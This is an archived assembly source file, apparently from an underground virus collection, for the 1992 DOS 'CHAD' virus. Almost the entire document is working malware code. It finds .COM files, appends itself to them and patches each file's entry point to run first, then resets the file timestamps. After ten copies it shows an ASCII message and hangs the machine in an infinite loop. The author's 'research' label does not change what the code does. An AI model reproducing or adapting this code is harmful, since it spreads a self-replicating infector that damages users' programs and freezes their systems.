home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / chad.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  8.9 KB  |  205 lines

  1. ;***************************************************************************
  2.  
  3. ;*                                                                         *
  4.  
  5. ;*  CHAD - Research Virus Version 1.01              Date. 11th April 1992. *
  6.  
  7. ;*                                                                         *
  8.  
  9. ;*  Written By : *.****** (*** ******** *******)                           *
  10.  
  11. ;*                                                                         *
  12.  
  13. ;*  Non-Overwriting Virus To Persuade Users To Get Some Anti-Virus         *
  14.  
  15. ;*                                        Software, While Having Some Fun. *
  16.  
  17. ;***************************************************************************
  18.  
  19.  
  20.  
  21. CODE  Segment
  22.  
  23.       Assume CS:CODE
  24.  
  25.  
  26.  
  27. progr equ 100h
  28.  
  29.  
  30.  
  31.       org progr
  32.  
  33.  
  34.  
  35. virus_size    EQU vir_end-vir_start
  36.  
  37. variable_diff EQU variables_start-vir_start
  38.  
  39.  
  40.  
  41. chad:
  42.  
  43.       call vir_start                     ;call virus
  44.  
  45.       mov ah,4ch                         ;return to operating system
  46.  
  47.       int 21h                            ;thru' dos interrupt 21h
  48.  
  49.  
  50.  
  51. vir_start:
  52.  
  53.       call next_byte                     ;call next address
  54.  
  55.  
  56.  
  57. next_byte:
  58.  
  59.       pop ax                             ;get next_byte address
  60.  
  61.       sub ax,3                           ;get virus address
  62.  
  63.       pop di                             ;get program start address
  64.  
  65.       push ax                            ;save virus address
  66.  
  67.  
  68.  
  69.       mov si,ax                          ;get address of next_byte
  70.  
  71.       mov ax,variable_diff               ;add difference
  72.  
  73.       add si,ax                          ;get variables address
  74.  
  75.  
  76.  
  77.       push si                            ;save si
  78.  
  79.       mov ax,18                          ;counter = variables+18
  80.  
  81.       add si,ax                          ;and point to it
  82.  
  83.       mov al,byte [si]                   ;get byte in counter
  84.  
  85.       add al,1                           ;add 1 to it
  86.  
  87.       mov byte [si],al                   ;and save again
  88.  
  89.       and al,10                          ;set counter
  90.  
  91.       cmp al,10                          ;has it been copied 10 times?
  92.  
  93.       jnz over_chad                      ;if not jump over
  94.  
  95.       mov ax,03h                         ;jump over to message line 1
  96.  
  97.       add si,ax                          ;si = message
  98.  
  99.       mov cx,10                          ;set counter to print
  100.  
  101. print_chad:
  102.  
  103.       push cx                            ;save counter
  104.  
  105.       mov ah,0fh                         ;get current display page
  106.  
  107.       int 10h                            ;call bios routine
  108.  
  109.       mov ah,02h                         ;set cursor position
  110.  
  111.       mov dl,18                          ;set column
  112.  
  113.       mov dh,cl                          ;set line (backwards)
  114.  
  115.       add dh,5                           ;place in middle of screen
  116.  
  117.       int 10h                            ;call bios routine
  118.  
  119.       mov dx,si                          ;move to dx
  120.  
  121.       mov ah,09h                         ;print string 
  122.  
  123.       int 21h                            ;call dos
  124.  
  125.       pop cx                             ;restore counter
  126.  
  127.       add si,42                          ;point to next string
  128.  
  129.       loop print_chad                    ;loop 'till done
  130.  
  131. print_chad1:
  132.  
  133.       jmp print_chad1                    ;infinite loop
  134.  
  135. over_chad:
  136.  
  137.       pop si                             ;restore variables address
  138.  
  139.       pop ax                             ;get variables difference
  140.  
  141.       mov [si],ax                        ;and save
  142.  
  143.       mov ax,3                           ;move to old address
  144.  
  145.       sub di,ax                          ;start of .com file
  146.  
  147.       mov [si+2],di
  148.  
  149.       mov ax,[si+4]                      ;get two bytes from old code
  150.  
  151.       mov [di],ax                        ;and place at start of file
  152.  
  153.       mov al,[si+6]                      ;get last byte of old code
  154.  
  155.       mov [di+2],al                      ;and place at start of .COM file
  156.  
  157.   
  158.  
  159.       mov dx,si                          ;which is copied to destination
  160.  
  161.       mov ax,12                          ;add 3 to variables address
  162.  
  163.       add dx,ax                          ;and save file control block
  164.  
  165.  
  166.  
  167. ;search for first
  168.  
  169.       mov ah,4eh                         ;search for first
  170.  
  171.       xor cx,cx                          ;attributes to search
  172.  
  173.       int 21h                            ;call dos
  174.  
  175.       jnc found_one                      ;if file found jump over
  176.  
  177.       jmp return_to_prog                 ;if no file found return to program
  178.  
  179.  
  180.  
  181. found_one:
  182.  
  183.       mov ah,2fh                         ;get DTA address into es:bx
  184.  
  185.       int 21h                            ;call dos
  186.  
  187.       mov ax,22                          ;jump over to time
  188.  
  189.       add bx,ax                          ;and point to it
  190.  
  191.       mov al,es:[bx]                     ;and place in ax
  192.  
  193.       and al,00000111b                   ;get seconds only
  194.  
  195.       cmp al,00h                         ;zero seconds?
  196.  
  197.       jnz infect_program                 ;if not infect program
  198.  
  199.       mov ah,4fh                         ;find next file
  200.  
  201.       int 21h                            ;call dos
  202.  
  203.       cmp ax,12h                         ;any more files left?
  204.  
  205.       jz return_to_prog                  ;no! return to program
  206.  
  207.       jmp short found_one                ;jump back
  208.  
  209.  
  210.  
  211. infect_program:
  212.  
  213.       mov dx,8                           ;jump to asciiz fcb
  214.  
  215.       add dx,bx                          ;add to bx
  216.  
  217.       mov ax,3d02h                       ;open file for writing
  218.  
  219.       int 21h                            ;call dos
  220.  
  221.       jnc continue                       ;continue if no error
  222.  
  223.  
  224.  
  225.       mov ah,4fh                         ;search for next
  226.  
  227.       xor cx,cx                          ;attributes to search
  228.  
  229.       int 21h                            ;call dos
  230.  
  231.       jc return_to_prog                  ;if no file found return to program
  232.  
  233.       jmp short found_one                ;jump forward if one found
  234.  
  235.  
  236.  
  237. continue:
  238.  
  239.       mov bx,ax                          ;transfer file handle to bx
  240.  
  241.  
  242.  
  243. ;read first three bytes
  244.  
  245.       mov ah,3fh                         ;read file
  246.  
  247.       mov cx,3                           ;number of bytes to read
  248.  
  249.       mov dx,si                          ;point to buffer to read
  250.  
  251.       add dx,4
  252.  
  253.       int 21h                            ;call dos
  254.  
  255.  
  256.  
  257.       mov ax,4202h                       ;move file pointer to end of file
  258.  
  259.       xor cx,cx                          ;clear cx
  260.  
  261.       xor dx,dx                          ;clear dx
  262.  
  263.       int 21h                            ;call dos
  264.  
  265.       sub ax,3
  266.  
  267.       mov word [si+08h],ax               ;and store
  268.  
  269.  
  270.  
  271.       mov ah,40h                         ;write to file
  272.  
  273.       mov cx,virus_size                  ;set counter to write
  274.  
  275.       mov dx,[si]
  276.  
  277.       int 21h                            ;and write to file
  278.  
  279.  
  280.  
  281.       mov ax,4200h                       ;move file pointer to start of file
  282.  
  283.       xor cx,cx                          ;clear cx
  284.  
  285.       xor dx,dx                          ;clear dx
  286.  
  287.       int 21h                            ;call dos
  288.  
  289.  
  290.  
  291.       mov ah,40h                         ;write to file
  292.  
  293.       mov cx,3                           ;set counter to write
  294.  
  295.       mov di,si
  296.  
  297.       add di,9
  298.  
  299.       mov dx,di                          ;point to buffer to start
  300.  
  301.       int 21h                            ;and write to file
  302.  
  303.  
  304.  
  305.       mov ax,5701h                       ;set date & time
  306.  
  307.       xor cx,cx                          ;time set to zero
  308.  
  309.       xor dx,dx                          ;and date
  310.  
  311.       int 21h                            ;and do it
  312.  
  313.       mov ah,3eh                         ;close file
  314.  
  315.       int 21h                            ;thru' dos
  316.  
  317.  
  318.  
  319. return_to_prog:
  320.  
  321.       mov ax,cs                          ;get code segment
  322.  
  323.       mov es,ax                          ;reset extra segment
  324.  
  325.       mov ax,0100h                       ;start of .COM file
  326.  
  327.       mov di,ax                          ;set destination address
  328.  
  329.       jmp ax                             ;jump to start of program
  330.  
  331.  
  332.  
  333. variables_start:
  334.  
  335.       db 0,0
  336.  
  337.       db 0,0
  338.  
  339. old_add:
  340.  
  341.       db 0e8h,0,0
  342.  
  343.       db 0,0
  344.  
  345. jump_code:
  346.  
  347.       db 0e8h,0,0
  348.  
  349. fcb:
  350.  
  351.       db "*.COM",0
  352.  
  353. counter:
  354.  
  355.       db 0
  356.  
  357. date:
  358.  
  359.       db 0
  360.  
  361. time:
  362.  
  363.       db 0
  364.  
  365. chad1:
  366.  
  367.       db "┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴$"
  368.  
  369.       db "┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬$"
  370.  
  371.       db "┴┬┴┬┴┬┴┬       Software .....   ┴┬┴┬┴┬┴┬┴$"
  372.  
  373.       db "┬┴┬┴┬┴┬┴ WOT!!  No Anti - Virus ┬┴┬┴┬┴┬┴┬$"
  374.  
  375.       db "┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴$"
  376.  
  377.       db "┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬    ┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬$"
  378.  
  379.       db "─┬─┬─┬─┬─┬─┬─WW┬┴┬─    ┬─┼─WW┬─┬─┬─┬─┬─┬─$"
  380.  
  381.       db "                │  O  O  │               $"
  382.  
  383.       db "                /        \               $"
  384.  
  385.       db "                  ______                 $"
  386.  
  387. chad2:
  388.  
  389.       db "CHAD Against Damaging Viruses ... Save Our Software. 1992.$"
  390.  
  391.  
  392.  
  393. variables_end:
  394.  
  395.  
  396.  
  397. vir_end:
  398.  
  399.  
  400.  
  401. CODE   ENDS
  402.  
  403.  
  404.  
  405.        END chad
  406.  
  407.  
  408.  
  409.